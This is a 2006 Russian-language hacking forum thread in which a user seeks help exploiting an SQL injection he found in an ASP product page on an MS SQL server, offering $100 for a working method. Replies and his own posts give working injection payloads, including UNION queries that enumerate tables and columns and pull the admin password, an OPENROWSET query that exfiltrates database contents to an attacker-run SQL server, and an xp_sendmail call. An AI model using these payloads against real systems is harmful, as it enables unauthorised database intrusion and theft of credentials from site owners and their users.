Редкая трабла с MsSQL

Discussion in 'PHP' started by Xex, 5 Jun 2006.

  1. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    Привет!
    нашел инъекцию следующего вида
    http://www.server.com/products.asp?cat=Cars'

    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e14' 
    
    Unclosed quotation mark before the character string 'CAR''. 
    
    /include/ADOFunctions.asp, line 58 
    
    При попытке написать UNION:
    http://www.server.com/products.asp?cat=CAR'%20UNION%20ALL%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--

    ругается
    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e14' 
    
    Incorrect syntax near the keyword 'UNION'. 
    
    /include/ADOFunctions.asp, line 58 
    
    Проверил синтакцис сто раз.
    фильтрации никакой,
    запросы вида
    http://www.server.com/products.asp?cat=CAR' or 1=1--
    ругется на синтакцис "or".

    products.asp?cat=CAR';SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
    работает без проблем,
    Думал фильтрует юнионы, оры и энды,но запрос вида

    products.asp?cat=CAR';SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES%20UNION%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
    тоже успешно выполняется.

    Думал, что все фильтруется после кавычки, однако если ввести немного "подпорченный" запрос(последний прведенный), то он ругается.

    Помогите советом.
    Пасиб.
     
    #1 Xex, 5 Jun 2006
    Last edited: 5 Jun 2006
  2. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    ДА вот по ходу еще два вопроса появилось
    1)если юнион не пашет думаю сделать так

    Code:
    insert%20into%20OPENROWSET('SQLoledb',%20'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',%20'select%20*%20from%20_sysdatabases')%20%20select%20*%20from%20master.dbo.sysdatabases--
    Так вот, кто подскажет бесплатный хостинг, где разрешено подключатся к БД не только с локалхоста

    2)еще хотелось бы использовать

    Code:
    '; exec master..xp_sendmail
    запускал без ошибок все прошло, но на мыло пока ничего не пришло
    Так вот, как узнать что sendmail - точно разрешен?

    Пасибо за внимание.
     
  3. gadjet

    gadjet Elder - Старейшина

    Joined:
    17 Dec 2005
    Messages:
    58
    Likes Received:
    18
    Reputations:
    2
    Попробуй запрос типа

    products.asp?cat=(SELECT * FROM INFORMATION_SCHEMA.TABLES)--
     
  4. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    2 gadjet:
    тут подзапросом и не пахнет,хотя попробовал.=)
    2 all:
    На ачате чтолько грамотных людей тусует, и мне никто не поможет?.может предложить денег?скажем 100 ваксов?
     
  5. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    PHP:
    http://www.server.com/products.asp?cat=CAR'%20UNION%20SELECT%20TABLE_NAME%20FROM%20INFORMATION_SCHEMA.TABLES--
    И поехали дальше:

    PHP:
    ?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
    (
    допустимпервая таблица называется 'table1').
    Узнать имя таблицыне table1:
    ?
    id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
    Узнать имя таблицыне table1table2table3:
    ?
    id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1','table2','table2') --
    Найти таблицув названии которой присутствует "user":
    ?
    id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25user%25'--
    Узнать имя первого столбца в "table1":
    ?
    id=-1 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="table1"--
    Узнать имя столбцане 'login_id'не 'login_name'не 'password',details':
    ?id=-1 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='
    admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

    Узнать пароль пользователя 'admin':
    ?
    id=-1 UNION SELECT TOP 1 password FROM users where login_name='admin'--
    ?
    id=-(SELECT+TOP+1+Login+FROM+admin)--
    ?
    id=-(UNION+SELECT+TOP+1+admin_password+FROM+admin)--
    100 баксов мне хватит - высылай =)
     
    1 person likes this.
  6. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    2 Elect:
    Уважаемый, я бы выслал деньги, если вы действительно ответили на вопрос=))
    перечитайте что я писал выше, юнион здесь не помощь,если было бы ве так просто=)
    Думаю сдесь надо делать упор на "exec"
     
  7. pop_korn

    pop_korn Elder - Старейшина

    Joined:
    13 Sep 2005
    Messages:
    148
    Likes Received:
    33
    Reputations:
    14
    скорее всего у тебя синтаксис не правильный выходит в первом запросе...
    попробуй вместо ' ), '), )), ')) и так далее
     
  8. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    pop_korn прежде чем советовать подумай.
    Xex а кто вообще сказал что там селект? введи order by 1. елси будет ругаться аналогично то там вообще не селект. возможно там `Cat` подставляется прямо в order by тут аналогично никакого юнион селекта не сделать.
    OPENROWSET Это безусловно удобная штука, но в большинстве случаев такие внешние вызовы блокируются фаерволом. master..xp_sendmail ОЧЕНЬ редко срабатывает тк во-первых, нужно иметь права админа или пользователя dbo, во-вторых, эта процедура напрямую взаимодействует с outlookoм и никому она в конечном счете вообще не нужна, поэтому с ней даже пытаться работать не советую. а то что проходит без ошибок в ответе скрипта не говорит о том что нет ошибки при выполнении запроса ;)
     
    #8 ZaCo, 7 Aug 2006
    Last edited: 7 Aug 2006
Loading...
Similar Threads - Редкая трабла MsSQL
  1. drkrol
    Replies:
    4
    Views:
    2,193
  2. d1v
    Replies:
    2
    Views:
    1,986
  3. greki_hoy
    Replies:
    1
    Views:
    991
  4. Axeee
    Replies:
    11
    Views:
    1,652